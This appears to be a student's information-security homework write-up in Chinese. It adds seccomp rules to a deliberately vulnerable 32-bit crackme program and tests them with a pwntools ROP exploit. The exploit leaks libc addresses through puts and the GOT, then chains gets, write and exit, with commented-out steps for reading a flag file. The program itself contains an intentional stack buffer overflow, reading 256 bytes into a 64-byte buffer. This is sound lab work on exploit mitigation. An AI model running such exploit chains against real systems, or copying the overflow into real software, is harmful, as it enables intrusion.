信息系统安全理论课第二次作业 - 羌卫中老师
修改stack代码
对stack代码增加seccomp修改
#define _GNU_SOURCE
#include <dlfcn.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void start() {
char buf[64];
printf("IOLI Crackme Level 0x00\n");
printf("Password:");
memset(buf, 0, sizeof(buf));
read(0, buf, 256);
if (!strcmp(buf, "250382"))
printf("Password OK :)\n");
else
printf("Invalid Password!\n");
}
int main(int argc, char *argv[]) {
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_ALLOW);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(read), 1,
SCMP_A0(SCMP_CMP_GE, 2));
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(write), 1,
SCMP_A0(SCMP_CMP_GE, 2));
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(write), 1,
SCMP_A2(SCMP_CMP_GE, 32));
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
setreuid(geteuid(), geteuid());
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
seccomp_load(ctx);
// start();
// 调用shell
// system("/bin/bash");
// 向STDERR输出
// write(2, "abc", 5);
// 向STDOUT输出正常长度 <32
write(0, "abc", 5);
putchar('\n');
// 向STDOUT输出异常长度 >=32
write(0, "abcdefghijklmnopqrstuvwxyz0123456789", 35);
putchar('\n');
seccomp_release(ctx);
return 0;
}
执行shell时报错
想stderr输出也是错误终止
也可以限制超长输出
通过攻击验证
同作业1的write函数
继续沿用作业1中的exploit代码需要修改pr、ppr、pppr以及bss端的地址
from pwn import *
bin_name = "./stack_seccomp"
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
p = process(bin_name)
stack = ELF(bin_name)
PR = 0x0804901e
PPR = 0x080494ea
PPPR = 0x080494e9
num = 76
bss1_addr = 0x0804c048
bss2_addr = bss1_addr+50
payload = b'A' * num
plt_puts = stack.plt['puts']
print('%#x' % plt_puts)
start_addr = stack.symbols['start']
print('%#x' % start_addr)
got_libc_start_main = stack.got['__libc_start_main']
print('%#x' % got_libc_start_main)
payload += p32(plt_puts)
payload += p32(start_addr)
payload += p32(got_libc_start_main)
print('payload:', payload)
p.sendline(payload)
p.recvuntil(b"Invalid Password!\n")
libc_start_main_addr = u32(p.recv(4))
print('%#x' % libc_start_main_addr)
libc_base = libc_start_main_addr-libc.symbols["__libc_start_main"]
print('%#x' % libc_base)
open_addr = libc_base+libc.symbols["open"]
read_addr = libc_base+libc.symbols["read"]
write_addr = libc_base+libc.symbols["write"]
gets_addr = libc_base+libc.symbols["gets"]
puts_addr = libc_base+libc.symbols["puts"]
exec_addr = libc_base+libc.symbols["execve"]
printf_addr = libc_base+libc.symbols["printf"]
scanf_addr = libc_base+libc.symbols["scanf"]
exit_addr = libc_base+libc.symbols["exit"]
system_addr = libc_base+libc.symbols["system"]
# open("/tmp/flag", 0) #some note for file reading
# read(3, buf, 1048)
# write(1, buf, 1048)
payload = b'A' * num
payload += p32(gets_addr)
payload += p32(PR)
payload += p32(bss1_addr)
payload += p32(puts_addr)
payload += p32(PR)
payload += p32(bss1_addr)
# payload += p32(open_addr)
# payload += p32(PPR)
# payload += p32(bss1_addr)
# payload += p32(0)
# payload += p32(read_addr)
# payload += p32(PPPR)
# payload += p32(3)
# payload += p32(bss2_addr)
# payload += p32(64)
payload += p32(write_addr)
payload += p32(PPPR)
payload += p32(2)
payload += p32(bss1_addr)
payload += p32(50)
payload += p32(exit_addr)
payload += p32(0xdeadbeef)
payload += p32(0)
print("payload2: ", payload)
p.sendline(payload)
p.interactive()
作业1中write函数输出了64位内容,按理说会报错
调用bash
将输入的字符传入system函数,攻击失败
输出小于31位
可以成功输出
输出到stderr
仍然是不行,说明现在安全得很了